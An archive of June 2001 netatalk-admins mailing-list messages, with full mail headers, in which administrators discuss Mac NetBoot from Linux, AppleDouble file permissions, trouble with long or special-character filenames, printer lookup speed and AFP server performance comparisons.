Cc: <netatalk-admins@umich.edu>
Subject: Re: Netboot?
In-Reply-To: <sb273668.065@keam1>
Message-ID: <Pine.LNX.4.33.0106131306190.2652-100000@localhost.localdomain>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


http://mike.passwall.com/macnc/

it's not trivial...

On Wed, 13 Jun 2001, Bryn Hughes wrote:

> Hi there,
>
> Is anyone aware of a way to use netboot (as in Apple's version of it
> that usually only works with an OS X server) with a Linux box?
>
> Bryn
>
> ----------------------------------------------
> Bryn Hughes
> Macintosh Tech Support
> Information and Computing Services
> Vancouver Community College
>
> email:bhughes@vcc.bc.ca
> ph: (604) 443-8702
> Urgent: (604) 871-7007
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Wed Jun 13 13:31:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA25914
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 13:31:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13913
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 13:31:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13881
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 13:31:57 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA13851
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 13:31:56 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Wed, 13 Jun 2001 10:31:48 -0700
Message-Id: <sb274114.056@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Wed, 13 Jun 2001 10:31:11 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
Cc: <netatalk-admins@umich.edu>
Subject: Re: Netboot?
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA25914

Great!  I just took a look at this... the site that really has the info is
http://www.gwc.org.uk/~ali/nb/

Not for the feint of heart... But it doesn't look like it's too much harder than oh, say, setting up netatalk... =)

Bryn

----------------------------------------------
Bryn Hughes
Macintosh Tech Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

>>> Chad Cunningham <ccunning@math.ohio-state.edu> - 6/13/01 10:06 AM >>>

http://mike.passwall.com/macnc/

it's not trivial...

On Wed, 13 Jun 2001, Bryn Hughes wrote:

> Hi there,
>
> Is anyone aware of a way to use netboot (as in Apple's version of it
> that usually only works with an OS X server) with a Linux box?
>
> Bryn
>
> ----------------------------------------------
> Bryn Hughes
> Macintosh Tech Support
> Information and Computing Services
> Vancouver Community College
>
> email:bhughes@vcc.bc.ca
> ph: (604) 443-8702
> Urgent: (604) 871-7007
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"



From netatalk.administrators-errors@umich.edu  Wed Jun 13 15:20:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00597
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 15:20:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09850
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 15:19:56 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09831
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 15:19:55 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA09787
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 15:19:54 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000082698 for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 21:16:30 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310101b74d6a8072ba@[192.168.1.201]>
Date: Wed, 13 Jun 2001 21:19:50 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: .AppleDouble/.Parent files
Content-Type: text/plain; charset="us-ascii"

Hi all,

I have a question on the .Parent files that netatalk creates within the .AppleDouble folders.

My shares have the rights 2771 on directories, and 0660 on files. 

Recently I run a find script to check whether all rights were OK, and discovered that a lot of  .AppleDouble/.Parent files were not 660 but mostly 640 or even 620. The script chmodded them back to 660, but I don't know exactly what these .Parent files contain and who should access them in a group-based filesharing tree (it feels like they contain some of the HFS folder flags...).

Why are .Parent files being created with a different umask than 'regular' files?
Is this a bug - or can it lead to problems, on OS9 or on OSX?

Just in case someone knows some more about it.

I'm using asun2.1.4_pre37_test/SuSE/LinuxPPC and asun2.1.4_pre39_test/SuSE.
This .Parent stuff happened on all of them.

Notes:
My shares filesystems have been 'threatened' by different versions of netatalk - and by switches between sourceforge/asun trees. 
So it could be that one version was doing this, and it went unobserved until now.

:-)


Lorenzo


From netatalk.administrators-errors@umich.edu  Wed Jun 13 15:37:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA01720
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 15:37:49 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25690
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 15:37:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25666
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 15:37:45 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA25514
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 15:37:40 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000082714 for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 21:33:57 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310102b74d6d5b1e6d@[192.168.1.201]>
Date: Wed, 13 Jun 2001 21:37:18 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: can netatalk trigger external scripts?
Content-Type: text/plain; charset="us-ascii"

Hi all, again.

Can scripts / binaries be triggered by certain actions, such as logging in, logging out, and maybe even more...?
Can netatalk be 'forced' to 'send an update' to the connected clients?
Any experience worth sharing?

I'd like to implement (when netatalk will finally work with OSX, and when OSX will be finally usable...), some sort of dynamic filesystem and am evaluating the possible interfaces to the file servers. 

Thanx for Your time,

:-)


Lorenzo


From netatalk.administrators-errors@umich.edu  Wed Jun 13 17:50:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA08445
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 17:50:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA23989
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 17:50:49 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA23979
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 17:50:48 -0400 (EDT)
Received: from mailout01.sul.t-online.de (mailout01.sul.t-online.com [194.25.134.80])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA23950
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 17:50:47 -0400 (EDT)
Received: from fwd00.sul.t-online.de 
	by mailout01.sul.t-online.de with smtp 
	id 15AIXP-0005Jl-09; Wed, 13 Jun 2001 23:50:55 +0200
Received: from server.linau.de (320064501249-0002@[217.4.66.185]) by fmrl00.sul.t-online.com
	with esmtp id 15AIXK-0cEtg8C; Wed, 13 Jun 2001 23:50:50 +0200
Received: from [192.168.2.2] (helo=[192.168.2.2])
	by server.linau.de with esmtp (Exim 3.12 #1 (Debian))
	id 15Af02-0001Av-00
	for <netatalk-admins@umich.edu>; Thu, 14 Jun 2001 23:49:58 +0200
Mime-Version: 1.0
Message-Id: <p05001902b74edffafe30@[192.168.2.2]>
In-Reply-To: <fc.000f5b790004b337000f5b790004b337.4b40a@ducommun.ch>
References: <fc.000f5b790004b337000f5b790004b337.4b40a@ducommun.ch>
X-Mailreader: Eudora Macintosh
Date: Thu, 14 Jun 2001 23:44:24 +0200
To: netatalk-admins@umich.edu
From: Christian Schmidt <ChriSchmiLi@hmx.de>
Subject: Re: Netatalk and Macintosh names
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Sender: 320064501249-0002@t-dialin.net

Jose Llopis schrieb am 14:07 Uhr +0200:

>  I run netatalk on Suse 7.1, and works well.
>  Therefor, when Macintosh users use some
>  legal Mac characters (/ * "...) they have
>  troubles when recording files,
>  specialy with the slash character.

IMHO the problems you're writing about are well-known, and the only 
solution is avoiding special characters...

And you should actually know how Linux interprets the "/"
-> /dev/null for example...

cu,
Christian
-- 
Christian Schmidt
ChriSchmiLi@gmx.de

From netatalk.administrators-errors@umich.edu  Thu Jun 14 08:22:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA00450
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Jun 2001 08:22:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA27471
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Jun 2001 08:22:41 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA27467
	for netatalk.administrators-members@umich.edu; Thu, 14 Jun 2001 08:22:40 -0400 (EDT)
Received: from firstclass.ducommun.ch (firstclass.ducommun.ch [194.209.63.202])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA27439
	for <netatalk-admins@umich.edu>; Thu, 14 Jun 2001 08:22:38 -0400 (EDT)
Message-id: <fc.000f5b790004b602000f5b790004b337.4b607@ducommun.ch>
Date: Thu, 14 Jun 2001 14:25:42 +0200
Subject: Re(2): Netatalk and Macintosh names
To: netatalk-admins@umich.edu
From: "Jose Llopis" <jose.llopis@ducommun.ch>
References: <p05001902b74edffafe30@[192.168.2.2]>
In-Reply-To: <p05001902b74edffafe30@[192.168.2.2]>
MIME-Version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Hi,

many thanks for the answer. I am changing all
"bad" names of the files.

Regards

Jose LLopis

Jose.llopis@ducommun.ch


From netatalk.administrators-errors@umich.edu  Thu Jun 14 08:38:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA00836
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Jun 2001 08:38:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA29547
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Jun 2001 08:38:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA29514
	for netatalk.administrators-members@umich.edu; Thu, 14 Jun 2001 08:38:40 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA29476
	for <netatalk-admins@umich.edu>; Thu, 14 Jun 2001 08:38:38 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id NAA02542;
	Thu, 14 Jun 2001 13:38:30 +0100
Date: Thu, 14 Jun 2001 13:38:30 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Bryn Hughes <bhughes@vcc.bc.ca>
cc: netatalk-admins@umich.edu
Subject: Re: Netboot?
In-Reply-To: <sb273668.065@keam1>
Message-ID: <Pine.LNX.4.21.0106141337060.14660-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Wed, 13 Jun 2001, Bryn Hughes wrote:

> Hi there,
> 
> Is anyone aware of a way to use netboot (as in Apple's version of it that usually only works with an OS X server) with a Linux box?  

yes, check out my web page on this at http://frank.gwc.org.uk/~ali/nb/

let me know if you get stuck and I will try to help.

I have 200 machines netbooting off a single Linux server... Last time I
talked to Apple the most they recommended from a MacOS X server box was 30
machines...

-- 
Alistair Riddell - BOFH
IT Support Department, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Thu Jun 14 13:00:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA10405
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Jun 2001 13:00:03 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA23850
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Jun 2001 12:59:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA23827
	for netatalk.administrators-members@umich.edu; Thu, 14 Jun 2001 12:59:52 -0400 (EDT)
Received: from gigi.excite.com (gigi.excite.com [199.172.152.110])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA23798
	for <netatalk-admins@umich.edu>; Thu, 14 Jun 2001 12:59:51 -0400 (EDT)
Received: from blizzard.excite.com ([199.172.148.158]) by gigi.excite.com
          (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP
          id <20010614170000.BYDD3984.gigi.excite.com@blizzard.excite.com>
          for <netatalk-admins@umich.edu>; Thu, 14 Jun 2001 10:00:00 -0700
Message-ID: <1740211.992538000887.JavaMail.imail@blizzard.excite.com>
Date: Thu, 14 Jun 2001 10:00:00 -0700 (PDT)
From: Joe Rhodes <JoeRhodes1974@excite.com>
To: netatalk-admins@umich.edu
Subject: Performance Testing
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Excite Inbox
X-Sender-Ip: 208.166.201.27

Hey Gang!
     It's been a while since I've had time to keep up with the list. 
Hopefully I'm not being redundant here.  

     I've recently run across some performance testing I had been doing for
AFP servers.  Linux + Netatalk, W2K + ExteremeZ IP or Hybinette, Novell,
ASIP, etc.

     While it is certainly less than scientific, I thought some of you might
find it interesting.  The results are up at:
http://www.joerhodes.com/AFPperformance.html


Enjoy!
-Joe
Joe Rhodes Conuslting LLC.





_______________________________________________________
Send a cool gift with your E-Card
http://www.bluemountain.com/giftcenter/



From netatalk.administrators-errors@umich.edu  Thu Jun 14 18:11:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA22704
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Jun 2001 18:11:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00178
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Jun 2001 18:11:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00166
	for netatalk.administrators-members@umich.edu; Thu, 14 Jun 2001 18:11:18 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA00154
	for <netatalk-admins@umich.edu>; Thu, 14 Jun 2001 18:11:17 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id SAA29766
	for <netatalk-admins@umich.edu>; Thu, 14 Jun 2001 18:38:09 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: Files not visible with over 31 characters
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Thu, 14 Jun 2001 18:11:14 -0400
Message-ID: <1ev07s6.q3y3hy1etpsaoM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 142 days)

I have users ftp files to our ftp site.

If they send from a pc and the filename is over 31 characters, it's
invisible the the mac when opening the ftp folder that is being
published by netatalk.

Why does name truncation not seem to be happening here?

From netatalk.administrators-errors@umich.edu  Thu Jun 14 18:53:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA24933
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Jun 2001 18:53:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA09305
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Jun 2001 18:53:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA09295
	for netatalk.administrators-members@umich.edu; Thu, 14 Jun 2001 18:53:25 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA09280
	for <netatalk-admins@umich.edu>; Thu, 14 Jun 2001 18:53:24 -0400 (EDT)
Received: from ns07-n66-116.de.inter.net ([213.73.66.116] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15AfzO-0005aG-00
	for netatalk-admins@umich.edu; Fri, 15 Jun 2001 00:53:22 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id AAA19185
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 00:52:32 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Files not visible with over 31 characters
Date: Fri, 15 Jun 2001 00:50:46 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <1ev07s6.q3y3hy1etpsaoM@cx448422-b.wwck1.ri.home.com>
In-Reply-To: <1ev07s6.q3y3hy1etpsaoM@cx448422-b.wwck1.ri.home.com>
MIME-Version: 1.0
Message-Id: <01061500523200.17966@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id SAA24933

On Fri, 15 Jun 2001, Lee Blevins wrote:
> I have users ftp files to our ftp site.
> 
> If they send from a pc and the filename is over 31 characters, it's
> invisible the the mac when opening the ftp folder that is being
> published by netatalk.
> 
> Why does name truncation not seem to be happening here?

What name truncation do you expect?
Please tell detailed rules!

From netatalk.administrators-errors@umich.edu  Fri Jun 15 03:44:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA08632
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 03:44:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA14055
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 03:44:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA14046
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 03:44:27 -0400 (EDT)
Received: from smtp.mbit.nl (tea-earl-grey-hot.mbit.nl [62.216.31.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA14040
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 03:44:26 -0400 (EDT)
Received: from proforma.mbit.nl ([195.64.95.35] helo=pro.nl)
	by smtp.mbit.nl with esmtp (Exim 3.13 #1 (Debian))
	id 15AoHJ-0006cE-00
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 09:44:25 +0200
Message-ID: <3B29CB52.3000102@pro.nl>
Date: Fri, 15 Jun 2001 10:46:10 +0200
From: "Jiri D. Hoogeveen" <jiri@pro.nl>
Organization: Proforma
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.16-22 i686; en-US; Preview) Gecko/20001101 Beonex/0.6-pre
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: speeding up nblkup
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello,

I use nblkup, papstatus and php to give me the status of all printers. 
But nblkup is a little but slow.
Is there a way to speed it up?


Grtz, Jiri


From netatalk.administrators-errors@umich.edu  Fri Jun 15 07:00:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA13276
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 07:00:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA20232
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 07:00:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA20223
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 07:00:37 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA20198
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 07:00:36 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id HAA30767
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 07:27:27 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <8E741FCD9606D411AD1B00508B64502903DF41@phsexch16.mgh.harvard.edu>
Subject: Re: Files not visible with over 31 characters
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Fri, 15 Jun 2001 07:00:34 -0400
Message-ID: <1ev17cu.1khua9krrby6sM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 143 days)

What can be done to move this up on the priority list?


> This has been characteristic of Netatalk for some time.   It's very
> interesting in a shared file area (Samba and Netatalk) when the Samba
> users changes protocols and naming conventions and the new files
> "disappear" for the Mac users.   I'm sure this could be found in the 
> afpd source.
> 
>                                               mht
> 
> -----Original Message-----
> From: leeb@digitalgraphics.net
> To: netatalk-admins@umich.edu
> Sent: 6/14/01 6:11 PM
> Subject: Files not visible with over 31 characters
> 
> I have users ftp files to our ftp site.
> 
> If they send from a pc and the filename is over 31 characters, it's
> invisible the the mac when opening the ftp folder that is being
> published by netatalk.
> 
> Why does name truncation not seem to be happening here?

From netatalk.administrators-errors@umich.edu  Fri Jun 15 07:13:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA13556
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 07:12:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA00072
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 07:12:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA00067
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 07:12:59 -0400 (EDT)
Received: from paperboy.sixforty.co.uk (paperboy.sixforty.co.uk [195.10.242.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA00045
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 07:12:57 -0400 (EDT)
Received: (from root@localhost)
	by paperboy.sixforty.co.uk (8.11.1/8.11.1) id f5FBCu291218;
	Fri, 15 Jun 2001 12:12:56 +0100 (BST)
	(envelope-from lawrence@epcdirect.co.uk)
Delivered-To: netatalk-admins@umich.edu
Received: from lfarr (daisy.int.epcdirect.co.uk [192.168.6.200])
	by paperboy.sixforty.co.uk (8.11.1/8.11.1av) with SMTP id f5FBCqg91210;
	Fri, 15 Jun 2001 12:12:53 +0100 (BST)
	(envelope-from lawrence@epcdirect.co.uk)
From: "Lawrence Farr" <lawrence@epcdirect.co.uk>
To: "Joe Rhodes" <JoeRhodes1974@excite.com>, <netatalk-admins@umich.edu>
Subject: RE: Performance Testing
Date: Fri, 15 Jun 2001 12:13:11 +0100
Message-ID: <LHEIICGBLGCCHCONDGNLAEDKCOAA.lawrence@epcdirect.co.uk>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <1740211.992538000887.JavaMail.imail@blizzard.excite.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000
Importance: Normal
X-Virus-Scanned: by AMaViS perl-10

Here's a couple more tests for anyone interested:

http://asteroids.sixforty.co.uk/~l.farr/lantests/index_files/sheet001.htm

There's Helios, FreeBSD, Linux, Windows 2000 SFM and NT4 SFM on there.

Lawrence Farr
EPC Direct Limited mailto:lawrence@epcdirect.co.uk
T:01179666123 F:01179666111 M:07970780901

-----Original Message-----
From: Joe Rhodes [mailto:JoeRhodes1974@excite.com]
Sent: 14 June 2001 18:00
To: netatalk-admins@umich.edu
Subject: Performance Testing


Hey Gang!
     It's been a while since I've had time to keep up with the list.
Hopefully I'm not being redundant here.

     I've recently run across some performance testing I had been doing for
AFP servers.  Linux + Netatalk, W2K + ExteremeZ IP or Hybinette, Novell,
ASIP, etc.

     While it is certainly less than scientific, I thought some of you might
find it interesting.  The results are up at:
http://www.joerhodes.com/AFPperformance.html


Enjoy!
-Joe
Joe Rhodes Conuslting LLC.





_______________________________________________________
Send a cool gift with your E-Card
